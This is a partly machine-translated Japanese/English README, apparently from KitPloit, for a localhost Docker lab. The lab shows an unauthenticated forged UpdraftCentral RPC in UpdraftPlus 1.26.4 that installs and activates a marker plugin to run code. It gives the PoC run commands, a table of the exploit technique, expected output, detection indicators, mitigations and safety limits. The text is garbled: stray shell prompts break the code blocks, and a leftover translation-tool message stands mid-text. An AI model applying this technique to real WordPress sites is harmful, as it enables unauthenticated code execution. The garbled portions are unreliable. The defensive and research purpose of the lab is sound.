期待されるパッチ適用済みシグナル:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False Body prefix : ''

ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
## 手動検証コマンド

サービスの健全性を確認します:```bash
docker compose ps

脆弱なサービスのメタデータを検査:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool

root@kitploit:~
パッチ適用済みサービスのメタデータを検査:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

ランタイムプラグインの状態を確認します:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool

root@kitploit:~
pingのみの検証を実行:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Run ID 証明:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
PoC 実行直後にマーカーエンドポイントを確認してください:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

The input for chunk 233 is empty — there is no content to translate. Please provide the actual Markdown text for this chunk so I can process it.```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route

root@kitploit:~
脆弱なコンテナ内のインストール済みプラグインを確認します:```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

パッチ適用済みコンテナ内にインストールされているプラグインを確認してください:```bash docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

root@kitploit:~
The vulnerable service should contain the marker plugin after the PoC runs. The patched service should not.

## Impact

This lab demonstrates that an unauthenticated attacker can forge an UpdraftCentral RPC message that reaches privileged command dispatch in UpdraftPlus 1.26.4 when a suitable UpdraftCentral key state exists.

The demonstrated impact is RCE-style because the forged RPC command abuses legitimate plugin management functionality:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

ローカルの実証では、Webサーバーユーザーとして実行されていることが示されています:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
脆弱性カテゴリは依然として認証バイパスです。コード実行の結果は、特権付きWordPressプラグインのインストールを介した連鎖的な影響です。

## 検知と監視

潜在的な指標には、UpdraftCentral RPCフィールドを含むWordPressフロントページへの未認証のPOSTリクエストが含まれます:```text
format
key_name
udrpc_message
signature

不審な特性:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request

root@kitploit:~
ローカルラボの指標:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

本番環境でのモニタリングのアイデア:

  • udrpc_message を含む POST リクエストがないか、Web アクセスログを確認します。
  • 信頼できない送信元からの format=1 の RPC リクエストにアラートを設定します。
  • 可能であれば UpdraftPlus および UpdraftCentral のログを確認します。
  • 予期しないプラグインのインストールや有効化イベントを監視します。
  • wp-content/plugins 配下のファイルシステムの変更を監視します。
  • 管理者ユーザーとリモート管理統合を確認します。
  • UpdraftPlus が修正済みバージョンより古いかどうかを確認します。
  • 古い、または使用されていない UpdraftCentral リモートコントロールキーを削除します。

緩和策とパッチノート

UpdraftPlus をバージョン 1.26.5 以降にアップグレードしてください。

修正版は、対称復号とコマンドディスパッチの前に、無効な復号済み対称キーを拒否します。

推奨される緩和手順:

  • UpdraftPlus をアップグレードします。
  • UpdraftCentral のリモートコントロールが有効化されているか、または設定されているかを確認します。
  • リモートコントロールが不要な場合は、古い UpdraftCentral キーを削除します。
  • WordPress の管理者アカウントを確認します。
  • インストール済みプラグインに予期しない追加がないか確認します。
  • 不審な udrpc_message リクエストがないかアクセスログを確認します。
  • 侵害が疑われる場合は、認証情報をローテーションします。
  • 不正なプラグインのインストールが確認された場合は、既知の正常なバックアップから復元します。
  • WAF ルールは一時的なレイヤーとしてのみ使用し、パッチの代わりにはしないでください。

最も重要な修正は、復号とディスパッチの前に無効な対称キーを拒否する、パッチ済みの UpdraftPlus バージョンを実行することです。

クリーンアップ

コンテナを停止し、ネットワークを削除します:```bash docker compose down --remove-orphans

root@kitploit:~
コンテナ、ネットワーク、ボリュームを削除:```bash
docker compose down -v --remove-orphans

Python仮想環境を削除する:```bash rm -rf venv

root@kitploit:~
ローカルの証拠ファイルが作成された場合は削除:```bash
rm -rf evidence/

安全性の境界

このラボは、ローカルでのセキュリティ研究と管理されたデモンストレーションのみを目的としています。

所有していない、または明示的なテスト許可を得ていないシステムに対してPoCを実行しないでください。

このラボでは、実際の認証情報、本番シークレット、外部ターゲットを使用しないでください。

PoCは、以下のようなローカルDockerサービスに意図的に限定されています:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082

root@kitploit:~
PoCはデフォルトでローカル以外のターゲットを拒否します。

マーカープラグインは汎用のコマンド実行パラメータを実装していません。ハードコードされたローカルな証明エンドポイントのみを公開し、`/usr/bin/id` を実行します。

このラボには以下は含まれません:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

目標は、管理された環境で特定の技術的条件を実証することです:```text unauthenticated forged RPC

  • vulnerable format=1 validation behavior
  • failed RSA decrypt not rejected
  • predictable symmetric decrypt path
  • privileged UpdraftCentral command dispatch
  • plugin upload and activation
  • patched version blocks before dispatch
root@kitploit:~
## 参照

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Wordfence 脆弱性データベース: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Patchstack データベース: UpdraftPlus
  https://patchstack.com/database/

* WordPress.org プラグイン: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* WordPress.org プラグイン SVN
  https://plugins.svn.wordpress.org/updraftplus/

* WordPress.org プラグイン SVN タグ
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: 認証チートシート
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: Webセキュリティテストガイド
  https://owasp.org/www-project-web-security-testing-guide/
ツールをダウンロード
PoC の動作テスト対象のソース動作1.26.4 での期待結果1.26.5 での期待結果
format=1 で POST を送信リスナーがレガシー RPC 形式を受け付ける継続パッチ適用済みの復号チェックへ継続
有効な署名を省略署名チェックは format >= 2 にのみ適用署名は不要format=1 では署名不要だが、後でブロックされる
無効な RSA ブロックを送信RSA 復号が無効な対称鍵を返す無効な鍵が setKey() に到達無効な鍵は拒否される
null キー/null IV で JSON を暗号化setKey(false) 後の phpseclib フォールバック動作をモデル化有効な JSON に復号される復号されない
command=ping を設定暗号化バイパスとディスパッチのみをテストPING DISPATCHEDPING NOT DISPATCHED
command=plugin.upload_plugin を設定UpdraftCentral のプラグインアップロードメソッドを呼び出すプラグイン ZIP がインストールされるコマンドに到達しない
activate=true を設定インストール後に activate_plugin() をトリガーマーカープラグインが有効マーカープラグインが存在しない
/wp-json/cve-lab/v1/id をリクエストマーカープラグインのコードが実行されているか確認uid=33(www-data) を返す404 rest_no_route を返す
ServiceComponentVersion / Role
vulnWordPress + UpdraftPlusUpdraftPlus 1.26.4 脆弱なターゲット
patchedWordPress + UpdraftPlusUpdraftPlus 1.26.5 パッチ適用済みターゲット
vuln_dbMariaDB脆弱なターゲット用のデータベース
patched_dbMariaDBパッチ適用済みターゲット用のデータベース
vuln_setupWP-CLI セットアップサービスWordPress をインストールし、UpdraftPlus をアクティブ化し、ローカルキー状態をシードします
patched_setupWP-CLI セットアップサービスWordPress をインストールし、UpdraftPlus をアクティブ化し、ローカルキー状態をシードします